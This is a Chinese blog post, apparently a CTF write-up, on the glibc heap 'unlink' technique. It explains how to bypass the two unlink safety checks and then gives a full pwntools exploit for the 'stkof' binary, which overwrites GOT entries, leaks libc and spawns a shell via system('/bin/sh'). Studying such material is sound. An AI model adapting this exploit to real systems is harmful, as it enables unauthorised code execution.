前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Unlink漏洞简单分析

Unlink漏洞简单分析

作者头像
天钧
发布2019-10-31 10:46:25
6110
发布2019-10-31 10:46:25
举报
文章被收录于专栏:渗透云笔记渗透云笔记
0x1,堆溢出漏洞;
0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;
关于unlink的漏洞简单说一下
1,第一个判断
代码语言:javascript
复制
if(chunksize (p) != prev_size (next_chunk (p)))
此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。
第2个判断
代码语言:javascript
复制
FD=P->fd即当前空闲chunk所指向的下一个空闲chunk

BK=P->bk即当前空闲chunk所指向的上一个chunk

FD->bk=BK<=>P->fd->bk= P->bk

BK->fd=FD<=>P->bk->fd= P->fd
光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制
代码语言:javascript
复制
if(__builtin_expect (fd->bk != p || bk->fd != p, 0))
其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。
0x3,具体操作:
1,源码分析的话是典型的给你创建,编辑,删除的堆;
2
没什么好说的;3.
它会把创建的堆放在这;地址0x602140;
4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出
5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:
代码语言:javascript
复制
fd  = address  -  0x18

bk  = address  -  0x10
剩下的就是老生常谈了,exp
代码语言:javascript
复制

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'

context.binary = "./stkof"
stkof = ELF('./stkof')

if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")

log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

head = 0x602140

def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

def exp():
    gdb.attach(p)
    # trigger to malloc buffer for io function
    alloc(0x100)        # idx 1
    # begin
    alloc(0x30)         # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)         # idx 3
    # a fake chunk at global[2] = head + 16 who's size is 0x20
    payload = p64(0)        #prev_size
    payload += p64(0x20)    #size --> except the first line, the rest two line is equal to 0x20?
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)        #0x30 is the front one whole size?
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()

if __name__ == "__main__":
    exp()
Written by 天华
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1,堆溢出漏洞;
  • 0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;
  • 关于unlink的漏洞简单说一下
  • 1,第一个判断
  • 此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。
  • 第2个判断
  • 光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制
  • 其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。
  • 0x3,具体操作:
  • 1,源码分析的话是典型的给你创建,编辑,删除的堆;
  • 2
  • 没什么好说的;3.
  • 它会把创建的堆放在这;地址0x602140;
  • 4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出
  • 5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:
  • 剩下的就是老生常谈了,exp
  • Written by 天华
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档